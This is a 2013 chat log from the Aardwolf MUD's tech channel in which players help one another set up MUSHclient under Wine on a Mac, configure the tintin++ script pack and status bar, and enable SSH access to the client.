T3/r7/2013-06-12.txt.gz:{chan ch=tech}Wozniak Tech: I just deleted the MUSHclient.ini that was in my home directory and ran the program again and it didn't appear. I guess it was only showing up because of the error I was getting earier.
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Pei Tech: woooooooooo
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Tech: Pei ) fixed nw woz?
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Yes, THAT Neeper Tech: chances are mushclient.exe was generating the file in the directory you were in when trying to run it from otuside the folder
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Wozniak Tech: yes. Thank you. But I have two questions
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Wozniak Tech: Neeper your right because it's not in the MUSHclient folder
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Wozniak Tech: Two questions. 1. How do I make it so the client connects to my player every time I connect? 2. When it asks Save changed to Z:\Applications\MUSHclient\worlds\Aardwolf.mcl do I say Yes or No?
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Yes, THAT Neeper Tech: 1.) select Game > Configure > Connecting and fill in the blanks
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Yes, THAT Neeper Tech: 2.) yes
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Wozniak Tech: what happens if I say No?
T3/r7/2013-06-12.txt.gz:{chan ch=tech}You Prefer Carpet Tech: is there a reason my scripts would prevent my screen from scrolling? wont even let me manually scroll down
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Yes, THAT Neeper Tech: then the changes you've made to your configuration won't save and you'll need to change them again when you restart mushclient
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Yes, THAT Neeper Tech: Carpet: does pageup/pagedwn do anything
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Wozniak Tech: but what if I make no changes but I've been playing on Aardwolf?
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Tripphippie Tech: it saves variables that have changed
T3/r7/2013-06-12.txt.gz:{chan ch=tech}You Prefer Carpet Tech: page up will work but after log on screen i cant see anything other than my chat box
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Yes, THAT Neeper Tech: it'll not ask (in theory) but usually you've changed something
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Wozniak Tech: in the command line interface it says Timer still active!?
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: Woz: Your tech board question. I've found when running wine on mac it's easier to two-finger click the exe and open with wine, instead of executing from the CLI
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: I haven't seen pathing issues that way, but I've never been able to successfully run it using the CLI
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Wozniak Tech: Yes, that's what i'll do in the future. But I wanted to clear up some of these command line "errors"
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Wozniak Tech: Also, Is there a way for me not to have to enter my password in when I connect using the client?
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Yes, THAT Neeper Tech: the errors are just wine misbehaving, its not a perfect interface
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Wozniak Tech: I configured it and typed %name% in the blank space
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: alt-enter -> connecting
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Yes, THAT Neeper Tech: its not a serious problem.
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Wozniak Tech: Well I sure hope the timer isn't still ticking
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Yes, THAT Neeper Tech: the method Cheez described will work as well and those message will vanish into the system log instead
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Yes, THAT Neeper Tech: (to run the app from the launcher instead of via the command line)
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Wozniak Tech: When I right click the mushclient.exe it doesn't list Wine
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: Can also run it with a & to at least background the messages :P
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: May have to add it to the 'launch with' list.
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: What's it trying to open with by default?
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Wozniak Tech: archieve utility
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Wozniak Tech: the unarchiever*
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Wozniak Tech: I can't find Wine
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Wozniak Tech: I can't open MUSHclient.exe with wine
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Yes, THAT Neeper Tech: wozniak: sorry, i have wine knowledge but limited mac knowledge so i'm not sure how to add it to the launch-to menu. :(
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: I used to, but I'm in front of a Linux box right now, so i can't check specifically.
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Daddy Spoke Tech: You do have to install a bunch of non-default libraries to be able to compile wine on mac
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: No you don't :P
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: Least not anymore
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Daddy Spoke Tech: well, the default ones didnt do for me a couple of weeks ago
T3/r7/2013-06-12.txt.gz:{chan ch=tech}[Outlaw] Mendaloth Tech: Would you need to compile it anyways?
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: IIRC just needed gcc..
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Daddy Spoke Tech: not in my experience, but I may be the odd apple out
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: Also comes with a gem installation file iirc, so you can just do "gem install wine"
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Wozniak Tech: could you help me run the MUSHclient with Wine?
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Tech: Helperful Cheezburger . o O ( If you have gem installed )
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Daddy Spoke Tech: once wine is on, all you have to do is sit on the mush directory and type: "wine <mush....exe>"
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: And ignore whatever warnings it throws, they're useless
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Daddy Spoke Tech: I remember though having to download a lot of files to be able to compile wine
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Wozniak Tech: No I mean without using the command lien
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Wozniak Tech: line
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: None of us can recall how to add wine specifically to the launch-with list, so just run it from the CLI
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Wozniak Tech: well on my computer Wine is not shown as an app
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Wozniak Tech: it's shown as an executable that doesn't allow me to add to launch-with list
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: Yes, we know. We just don't recall how to add it... Just launch from the command line bro
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Vost Tech: it's ironic to see "Wozniak" asking for tech support
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: Like I said, the pathing warnings you can just ignore.
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: The great and powerful woz
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Wozniak Tech: haha it's a rare moment
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Wozniak Tech: why thank you
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Wozniak Tech: Well, I found out that you cannot "open with Wine" on Mac. You have to use a 3rd party app like Wine Bottler.
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: Hmm, that can't be true... I'm sure I just wrote a small little bash script to do it.
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Wozniak Tech: Well I guess you could write a bash script yourself to allow for it, but it just doesn't allow you to straight out of installation
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Wozniak Tech: So is it possible to connect to my character without having to enter my password with this client or do I always have to enter my password?
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Wozniak Tech: ?
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: Woz: Yes
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: mis
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Wozniak Tech: k. 
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Wozniak Tech: Can anyone help me with using the Aardwolf tintin++ client?
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Ixle Tech: Sure
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Ixle Tech: but it isn't an "aardwolf tintin++" client, it's just a client
T3/r7/2013-06-12.txt.gz:{chan ch=tech}[Deputy] Trurien Tech: Yup.
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Wozniak Tech: i know. So, I've downloaded the folder. And I've downloaded and installed tintin++. So what do I do now?
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Ixle Tech: read th README
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Wozniak Tech: I didn't see a readme
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Ixle Tech: Make sure tintin is at least 2.00.7
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Havvoc Tech: what's that?
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Ixle Tech: If you did it right, there is a readme. You say you downloaded the folder, what's in the folder?
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Wozniak Tech: I found the readme
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Wozniak Tech: Ok. So how do I start tintin with setup I'm confused
T3/r7/2013-06-12.txt.gz:{chan ch=tech}[Deputy] Trurien Tech: How do you mean, setup?
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Ixle Tech: Heh, did you read the readme or just find it? :p
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Wozniak Tech: the read me said edit setup.tin So now I'm looking at the contents of setup.tin. Now it says start tintin with setup.tin (Ex. /usr/games/tt++ -G setup.tin)
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Ixle Tech: Did you make the relevant changes mentioned in the readme to setup.tin?
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Wozniak Tech: Do i just add a new line with what it says after "Ex." ?
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Ixle Tech: No, you don't add any lines. Let me try and explain
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Ixle Tech: Where it says '#VARIABLE {name} {}' in between the {} you would put your character name
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Ixle Tech: same for password
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Ixle Tech: Then where it says '#VARIABLE {dir} {}' you would put the path to the settings in between the {}
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Ixle Tech: So if you are inside the directory with the settings, type pwd, you might get someting like /home/wozniak/aardwolf-tintin <-- That is what goes in between the {}
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: /Users/wozniak/foobar on Mac :P
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Tech: Ixle thanks Helperful Cheezburger heartily.
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Ixle Tech: Once those changes are made to that script (and the changes are saved), tintin will know how to find the rest of the settings and log you in automatically.
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Ixle Tech: How are we doing so far?
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Wozniak Tech: foobar? I did /Users/myname/aardwolf+tintin
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Wozniak Tech: know what
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Ixle Tech: Ok, now figure out how to start tt++ on a mac. It might be as easy as typing tt++ setup.tin
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: It is, I had him install it globally.
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Ixle Tech: tt++ would be the name of the program and 'setup.tin' is the file you want it to read automatically
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Wozniak Tech: I don't think my path is right
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: I liked adding alias tt++="tt++ /path/to/file" to my .bashrc (or .bash_profile on mac)
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: Then you just type tt++ and it launches it with your config file.
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Ixle Tech: What makes you think your path is wrong?
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Wozniak Tech: where's the path supposed to be to again?
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Ixle Tech: What you put looked right to me
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Ixle Tech: It's supposed to point to the directory where the settings are
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: Here's an easier way, type "tt++" into you console line (do not hit enter) followed by a space, then open finder, navigate to your file, and click-drag that file into your terminal and hit enter.
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Wozniak Tech: What's the file we're talkin about here?
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: general.tin iirc
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Ixle Tech: Uhm, shouldn't be editing general.tin yet. setup.tin loads all the necessary sub classes
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: ahh sorry, setup.tin
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: Couldn't remember the init file.
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Wozniak Tech: So do I make my path Users/myname/aardwolf+tintin/general.tin
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: no, do what I told you
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Wozniak Tech: oh setup.tin
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Ixle Tech: nope, /Users/yourname/aardwolf+tintin
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: its /Users/ not Users/
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Wozniak Tech: i know that's what I did
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Wozniak Tech: Ok so I type tt++ then drag what file?
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: tt++<space> drag-and-drop, yeah
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Wozniak Tech: which file?
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: Setup.tin..
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Wozniak Tech: ok
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Wozniak Tech: ok it works
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Arnica Tech: Hot doggy
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Wozniak Tech: whatech
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: Hot dogs AND cheeseburgers? That's just overkill :P
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Wozniak Tech: what the heck?
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Wozniak Tech: it's spamming hyphens
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Wozniak Tech: and there's a timer. it says tick and keeps counting down from 15 or somethin
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Ixle Tech: That is the time until the next tick
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: It'll reset to 30 each time the mud ticks..
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Wozniak Tech: ok it's not spamming anymore
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: Each tick is 30s apart
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: Probably wasn't spamming before,  the #split got farked.
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Ixle Tech: You were seeing a few debugging messages from tintin about a few variables not being populated yet. Ignorable.
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Wozniak Tech: so I thought this was supposed to show health
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: It does
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Wozniak Tech: where?
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: Bottom unless ixle moved it :P
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Ixle Tech: Still there
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Ixle Tech: Requires gmcp data to populate
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Wozniak Tech: before I continue, do I need the tt folder anymore?
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: Yeah, try quaffing a potion
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: the folder where our scripts are stored? Yes. The source folder for tt++? no.
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Wozniak Tech: sweet it works. I got rid of the tt folder
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Wozniak Tech: I have to go now. But later i need to figure out how to show health, map, etc.
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: for map you'll need to tail the minimap.txt ... health should be displaying already if it's not try #split {0} {4} and then quaff a potions or type 'gmcp sendchar'
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: Well first type 'protocol gmcp' and see if it's enabled..
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Ixle Tech: Head back into the readme for mapping :)
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Wozniak Tech: i did the #split thing and it isn't displaying
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: Is gmcp even enabled? `protocol gmcp`
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Ixle Tech: What is on the 3rd line from the bottom then? Just below the Tick/QUEST/Exp stuff?
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Wozniak Tech: nothign
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Wozniak Tech: just a blank space then more hyphens
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: In my version (not quite what you guys see), I have to quaff a potion sometimes to set up the initial variables for it to display in the #split.
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: but... you still haven't answered my question ... is gmcp on for you?
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Wozniak Tech: does protocol gmcp work for me? Yes
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: not does it work, when you type it does it say ON or OFF?
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Wozniak Tech: it shows me gmcp options and description and status
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: The options ... are they on?
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Wozniak Tech: some
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: Char, Comm, Group, room?
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Wozniak Tech: yep. all of them
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: K, so quaff a potion or go to a healer and type 'heal heal' (doesn't matter if you're fully healed) see if the status bar shows up?
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Wozniak Tech: if I quaff a potion won't I waste it?
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Ixle Tech: yep
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Wozniak Tech: ok health bar has appeared
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Wozniak Tech: I hope I don't have to do that everytime
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: You just have to do SOMETHING to change your stats/pools in some way.
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Wozniak Tech: that's annoying
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Wozniak Tech: I definitely am not going to waste a potion every time
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: You can also do like I said and type 'protocol gmcp sendchar' ... the client just needs a refresher because it tries to initalize the variables before it has actually received them
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: potions are cheap bro :P
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Wozniak Tech: does protocol gmcp sendchar make my health bar visible when it's not?
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: It should
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Wozniak Tech: k cause it does nothing when it's already visible
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: And it wouldn't :P
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: basically that just tells the mud "Ok, send me my character info via gmcp again"
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Tech: also, just go attack something...your health will change and will be sent
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Tigernuts Tech: bah, you get really great plans like importing metallica songs onto gh3 on the internet, never works though, does it?
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Tigernuts Tech: obnoxious game crackers
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Tigernuts Tech: i remember a time when stuff just worked
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Tech: that was a time before computers
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Tigernuts Tech: nope :-)
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Tech: and you weren't alive
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Tigernuts Tech: since computers, and on the proviso that the tape loaded ok
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Tech: then your memory is simply faulty
T3/r7/2013-06-12.txt.gz:{chan ch=tech}[Outlaw] Mendaloth Tech: I think there is some truth to that....
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Tech: even before tape, stuff didn't just work
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Tigernuts Tech: ahh, but it did :-)
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Tigernuts Tech: unless it was broken
T3/r7/2013-06-12.txt.gz:{chan ch=tech}[Outlaw] Mendaloth Tech: THe ability to patch quickly via internet and autoupdaters has caused some to release buggier and buggier stuff :P
T3/r7/2013-06-12.txt.gz:{chan ch=tech}[Outlaw] Mendaloth Tech: Espeically on consoles
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Garthis Tech: back in the days of the grey box of mac that no one could touch and change sure where the options were limited to what people wanted to sell you not what you wanted to have 
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Tech: there's been stuff that doesn't work out of the box as long as there's been a box
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Tigernuts Tech: well to be fair, medaloth, this isn't a fault of the original coders, this is a hacked up patch to get songs into the game that weren't part of it
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Ontuct Tech: I have a cordless record player in my livingroom.... a gramophone
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Ontuct Tech: but metallica doesn't seem to offer much on slow speed bakelite
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Tigernuts Tech: this is all Aspyr Media Inc's fault. If they'd have released the damn game on PC instead of being arses, then i'd have bought the damned thing
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Tigernuts Tech: they're all based on the same engine, so it's essentially content and a bit of packaging, who on earth told them not to?
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Tigernuts Tech: woot, found a way to fix it!
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Tigernuts Tech: go go grumpy old ex-nerd power!
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Wozniak Tech: interesting. The stat bar showed automatically this time
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Ixle Tech: good
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Wozniak Tech: was it supposed to do that?
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Ixle Tech: yes
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Wozniak Tech: Now I need to know how to ssh into tintin++
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Wozniak Tech: Now I need to know how to ssh into tintin++
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Wozniak Tech: Now I need to know how to ssh into tintin++
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Tech: [Outlaw] Mendaloth perks up and stares intently at Wozniak.
T3/r7/2013-06-12.txt.gz:{chan ch=tech}[Outlaw] Mendaloth Tech: http://support.suso.com/supki/SSH_Tutorial_for_Linux
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Ixle Tech: well he'll want a mac oriented one
T3/r7/2013-06-12.txt.gz:{chan ch=tech}[Outlaw] Mendaloth Tech: Depending on WHERE you are SSHing from, Putty is great!
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Ixle Tech: something about setting up sshd on mac
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Wozniak Tech: well actually I will be sshing into it with a linux desktop
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Wozniak Tech: yeah Putty is for windows
T3/r7/2013-06-12.txt.gz:{chan ch=tech}[Outlaw] Mendaloth Tech: http://www.maclife.com/article/howtos/how_enable_ssh_your_mac
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Wozniak Tech: I already know how to enable ssh on my Mac
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Wozniak Tech: thanks though
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Wozniak Tech: so what's the command to ssh to tintin?
T3/r7/2013-06-12.txt.gz:{chan ch=tech}[Outlaw] Mendaloth Tech: Wozniak
T3/r7/2013-06-12.txt.gz:{chan ch=tech}[Outlaw] Mendaloth Tech: You need to specify more information!
T3/r7/2013-06-12.txt.gz:{chan ch=tech}[Outlaw] Mendaloth Tech: I don't know what you are sshing FROM or TO!
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Wozniak Tech: sorry
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Wozniak Tech: sshing from Linux desktop to Mac
T3/r7/2013-06-12.txt.gz:{chan ch=tech}[Outlaw] Mendaloth Tech: Well did you look at that link I sent yoU?
T3/r7/2013-06-12.txt.gz:{chan ch=tech}[Outlaw] Mendaloth Tech: You need to enable SSH on the mac first.
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Wozniak Tech: ok
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Wozniak Tech: ok
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Wozniak Tech: oh the health bar went away. I got to go. 
T3/r7/2013-06-12.txt.gz:{chan ch=tech}HelperMan Hadar Tech: with jquery im creating dynamic fields, if i want to read them with php is there some way i can "wildcard" my php script to read  like $_POST["input*"] so that i dont have to guess how many inputs the user created
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Frolo Tech: i think you could "override" the function and make one for every input possible
T3/r7/2013-06-12.txt.gz:{chan ch=tech}HelperMan Hadar Tech: i think ill just have jquery post how many inputs there are in the form action and read that, and then loop through that
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Frolo Tech: if this is possible that should be easier
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Wozniak Tech: So what's the ssh command to ssh from the linux desktop to my Mac(where tintin is located)
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Wozniak Tech: Can someone help me with seeing the map on tintin? I've done what the readme says and I still can't see it
T3/r7/2013-06-12.txt.gz:{chan ch=tech}UchihaAizen Tech: I downloaded midssh to my cell,how fo I access aardwolf from that?
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Wozniak Tech: I have the same question about sshing to tintin
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Wozniak Tech: First enable ssh'ing on the computer that you will sshing to
T3/r7/2013-06-12.txt.gz:{chan ch=tech}UchihaAizen Tech: I'v got no internet,I'm using a cell
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Wozniak Tech: Where's the MUD client being hosted from?
T3/r7/2013-06-12.txt.gz:{chan ch=tech}UchihaAizen Tech: right now.mxit
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Wozniak Tech: No. Where? a desktop? PC? Mac? Linux?
T3/r7/2013-06-12.txt.gz:{chan ch=tech}UchihaAizen Tech: Whh? I'm using my cellphone to play aardwolf
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Wozniak Tech: Oh 
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Wozniak Tech: I'm not sure if you would need to enable ssh'ing on your phone or not
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Ixle Tech: Wozniak: read the README about turning on tags to see the map.
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Ixle Tech: UchihaAizen: hang on while I look up midssh settings
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Ixle Tech: UchihaAizen: I assume you mean midpssh btw?
T3/r7/2013-06-12.txt.gz:{chan ch=tech}UchihaAizen Tech: yeah
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Tornades Tech: what's the portal for aard again?
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Ixle Tech: Tornades, what do you mean portal? the port? the url?
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Tornades Tech: port yes.
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Wozniak Tech: I typed the tags into the minimap file and I still don't see a map
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Ixle Tech: Tornades: help ports
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Tornades Tech: oh and any idea where I could download a midpssh client for a blackberry? I heard there's blackberry built ones but don't know where it is.
